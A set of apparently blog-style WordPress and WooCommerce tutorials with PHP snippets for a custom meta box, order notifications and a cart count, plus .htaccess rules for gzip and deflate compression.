How to Create Custom Meta box in Wordpress

To create a Custom Meta box in wordpress follow below steps

Step1: Add this to your theme "functions.php"

<?php

define('MY_WORDPRESS_FOLDER',$_SERVER['DOCUMENT_ROOT']);
define('MY_THEME_FOLDER',str_replace('\\','/',dirname(__FILE__)));
define('MY_THEME_PATH','/' . substr(MY_THEME_FOLDER,stripos(MY_THEME_FOLDER,'wp-content')));

add_action('admin_init','my_meta_init');

function my_meta_init()
{
wp_enqueue_style('my_meta_css', MY_THEME_PATH . '/custom/meta.css');

foreach (array('post','page') as $type)
{
add_meta_box('my_all_meta', 'My Custom Meta Box', 'my_meta_setup', $type, 'normal', 'high');
}

add_action('save_post','my_meta_save');
}

function my_meta_setup()
{
global $post;

$meta = get_post_meta($post->ID,'_my_meta',TRUE);

include(MY_THEME_FOLDER . '/custom/meta.php');

echo '<input type="hidden" name="my_meta_noncename" value="' . wp_create_nonce(__FILE__) . '" />';
}

function my_meta_save($post_id)
{
if (!wp_verify_nonce($_POST['my_meta_noncename'],__FILE__)) return $post_id;

if ($_POST['post_type'] == 'page')
{
if (!current_user_can('edit_page', $post_id)) return $post_id;
}
else
{
if (!current_user_can('edit_post', $post_id)) return $post_id;
}

$current_data = get_post_meta($post_id, '_my_meta', TRUE);

$new_data = $_POST['_my_meta'];

my_meta_clean($new_data);

if ($current_data)
{
if (is_null($new_data)) delete_post_meta($post_id,'_my_meta');
else update_post_meta($post_id,'_my_meta',$new_data);
}
elseif (!is_null($new_data))
{
add_post_meta($post_id,'_my_meta',$new_data,TRUE);
}

return $post_id;
}

function my_meta_clean(&$arr)
{
if (is_array($arr))
{
foreach ($arr as $i => $v)
{
if (is_array($arr[$i]))
{
my_meta_clean($arr[$i]);

if (!count($arr[$i]))
{
unset($arr[$i]);
}
}
else
{
if (trim($arr[$i]) == '')
{
unset($arr[$i]);
}
}
}

if (!count($arr))
{
$arr = NULL;
}
}
}

?>

Woocommerce - Display Notifications


Display notification in Woocommerce when a user checkouts a product.

Here is the code

1. We need get the order count 

<?php

global $woocommerce;

$order_count = wc_get_customer_order_count( $current_user->ID );
if($order_count>=1) { ?>
<div class="quantity"><?php echo $order_count; ?></div>
<?php } ?>

2. Alright!!
We got our order count, but we should allow user to show his notifications only when logged in. So we have to restrict user.

<?php if ( is_user_logged_in() ) { // If user logged in  ?>
<a href="URL">Show Notifications</a> // "URL" Add your Notifications Page URL
<?php }
 else { // If user not logged in , We will Navigate him to My account page ?>
 <a href="<?php echo get_permalink( get_option('woocommerce_myaccount_page_id') ); ?>">Show Notifications</a>
 <?php } ?>

3. Finally!! 

We have to display all the order details in the notifications page.


<ul class="notifications">
<?php
$customer_orders = get_posts( array(
    'numberposts' => -1, // No of notifications to display
    'meta_key'    => '_customer_user', // Meta Key to get customer details
    'meta_value'  => get_current_user_id(),
    'post_type'   => wc_get_order_types(),
    'post_status' => array_keys( wc_get_order_statuses() ),
) );

foreach($customer_orders as $customer_order)
{
echo "<li>"; ?>

<a href="<?php bloginfo('url'); ?>/my-account/view-order/<?php echo $customer_order->ID; ?>"> <?php echo $customer_order->post_title; ?> </a>
<?php
if($customer_order->post_status == "wc-cancelled"){$orderclass = "alert-danger";}else {$orderclass = "alert-info";} // We can add some styles by adding a dynamic class based on the order status, "$orderclass" is the class varaiable ?>
<span class="<?php echo $orderclass; ?>"> <?php  echo  $customer_order->post_status; ?> </span>

<?php echo "</li>"; } ?>

</ul>

4. Done!!


WooCommerce - Display Cart Itmes Count with Cost.

If you wanted to display Cart items and total cost for individual user, use this code below

<?php
global $woocommerce;
// cart quantity
$qty = $woocommerce->cart->get_cart_contents_count();
// cart total
$total = $woocommerce->cart->get_cart_total();
// cart url
$cart_url = $woocommerce->cart->get_cart_url();
?>

<?php
// To Display Cart Quantity
if($qty>=1) { ?>
<div class="quantinty"><?php echo $qty; ?></div>
<?php } ?>

<?php
//To Display Total Cost
if($qty>=1)
echo '<span> '.$total.'</span>'; else { ?>
<span>Cart is Empty</span>
<?php } ?>

Wordpress Gzip Compression :: Page Speed

Here i have some basic information about Gzip Compression  for a website, This is a method which is used to reduce 65%  page size of your website.

Main advantage of Gzip Compression is:

Browsers checks for the Gzip availability in your website, if enabled server sends the encoded Gzip content to browser for rendering, which makes our website load faster then loading a normal webpage.

Add this code in your .htaccess file.

<ifModule mod_gzip.c>
mod_gzip_on Yes
mod_gzip_dechunk Yes
mod_gzip_item_include file .(html?|txt|css|js|php|pl)$
mod_gzip_item_include handler ^cgi-script$
mod_gzip_item_include mime ^text/.*
mod_gzip_item_include mime ^application/x-javascript.*
mod_gzip_item_exclude mime ^image/.*
mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*
</ifModule>

Wordpress Output Compression : Page speed

While cheeking your page speed in google insights you may come across an error "Enable Output Compression".

Here is the simple code to fix this error, add this code in your .htaccess file.

<IfModule mod_deflate.c>
AddOutputFilterByType DEFLATE text/plain
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE text/xml
AddOutputFilterByType DEFLATE text/css
AddOutputFilterByType DEFLATE application/xml
AddOutputFilterByType DEFLATE application/xhtml+xml
AddOutputFilterByType DEFLATE application/rss+xml
AddOutputFilterByType DEFLATE application/javascript
AddOutputFilterByType DEFLATE application/x-javascript
AddOutputFilterByType DEFLATE application/x-httpd-php
AddOutputFilterByType DEFLATE application/x-httpd-fastphp
AddOutputFilterByType DEFLATE image/svg+xml
</IfModule>